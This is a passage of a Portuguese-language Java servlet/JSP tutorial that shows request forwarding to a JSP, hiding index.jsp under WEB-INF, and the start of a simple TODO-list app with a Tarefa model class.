public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent {

    (...)

    public void _jspInit() {
        (...)
    }

    public void _jspDestroy() {
    }

    public void _jspService(final javax.servlet.http.HttpServletRequest request,
                            final javax.servlet.http.HttpServletResponse response)
            throws java.io.IOException, javax.servlet.ServletException {

        (...)

        out.write(&quot;&amp;lt;html&gt;\n&quot;);
        out.write(&quot;&amp;lt;body&gt;\n&quot;);
        out.write(&quot;&amp;lt;h2&gt;Hello World!&amp;lt;/h2&gt;\n&quot;);
        out.write(&quot;&amp;lt;/body&gt;\n&quot;);
        out.write(&quot;&amp;lt;/html&gt;\n&quot;);

        (...)
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Estamos em 2019, e já estamos cansados de saber que misturar &lt;em&gt;HTML&lt;/em&gt; com sua regra de negócios não é uma boa ideia. Uma alternativa seria alterar o &lt;em&gt;servlet&lt;/em&gt; que escrevemos e utilizar o &lt;em&gt;JSP&lt;/em&gt; como uma espécie de &quot;template engine&quot;. Paramos de imprimir &lt;em&gt;HTML&lt;/em&gt; e deixamos a linguagem lidar com esse tipo de trabalho (~mais ou menos o que se faz usando &lt;a href=&quot;https://reactjs.org/docs/introducing-jsx.html&quot; title=&quot;Note as aspas irônicas&quot;&gt;&lt;em&gt;JSX&lt;/em&gt;&lt;/a&gt;~):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/OlaMundoServlet.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;io&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;annotation&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urlPatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/servlet&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OlaMundoServlet&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt; rd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/index.jsp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        rd&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É isso mesmo o que você está lendo: Redirecionamos a requisição do &quot;nosso &lt;em&gt;servlet&lt;/em&gt;&quot; para o &lt;em&gt;JSP&lt;/em&gt; (que também é um &lt;em&gt;servlet&lt;/em&gt;). Respeitamos a especificação e conseguimos dividir as responsabilidades. Não aparenta ser bonito, mas pelo menos por hora já conseguimos separar o que é o nosso controlador do que é a nossa visualização.&lt;/p&gt;
&lt;h3&gt;Traçando nova rota&lt;/h3&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt; ainda está acessível através do endereço &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt;. Para ocultá-lo do acesso público, mova-o para a pasta &lt;code class=&quot;language-text&quot;&gt;WEB-INF&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mv src/main/webapp/index.jsp src/main/webapp/WEB-INF&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ao executar o &lt;em&gt;Tomcat&lt;/em&gt; novamente, ambos endereços (&lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;/servlet&lt;/code&gt;) devem apresentar uma resposta &lt;code class=&quot;language-text&quot;&gt;404&lt;/code&gt; agora (já que o recurso público &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt; não existe mais). Na &lt;em&gt;annotation&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;@WebServlet&lt;/code&gt;, altere o &lt;em&gt;path&lt;/em&gt; para fazê-lo virar a &lt;em&gt;index&lt;/em&gt; da aplicação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urlPatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O próximo passo agora é dizer para o &lt;code class=&quot;language-text&quot;&gt;RequestDispatcher&lt;/code&gt; a nova localização do &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt; rd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/WEB-INF/index.jsp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Reinicie o &lt;em&gt;Tomcat&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;mvn clean tomcat7:run&lt;/code&gt;) e acesse o &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Funciona!&lt;/p&gt;
&lt;h2&gt;Deixando um pouquinho mais dinâmico&lt;/h2&gt;
&lt;p&gt;Com o que temos aqui já é possível prototipar uma aplicação simples. Vamos imaginar uma lista de tarefas (&lt;em&gt;such a cliché&lt;/em&gt;!), onde eu tenho um campo para adicionar uma tarefa e uma lista com as mesmas logo abaixo. Para deixar tudo simples, vamos continuar com o projeto &lt;code class=&quot;language-text&quot;&gt;ola-mundo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Altere o &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt; para o seguinte código &lt;em&gt;HTML&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;TODO list&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;form&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;label&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        Tarefa:
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;required&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;label&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Salvar&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;form&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Tarefa&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Fica óbvio que precisaremos de um elemento que represente uma tarefa. Se formos por uma abordagem &lt;em&gt;MVC&lt;/em&gt;, faria sentido categorizar esse elemento como um modelo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkdir -p src/main/java/webapp/modelo
$ touch src/main/java/webapp/modelo/Tarefa.java&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A classe será muito simples:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/modelo/Tarefa.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setNome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getNome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E o &lt;em&gt;servlet&lt;/em&gt; deverá ficar parecido com o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/OlaMundoServlet.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urlPatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OlaMundoServlet&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; tarefas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa A&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa B&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa C&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
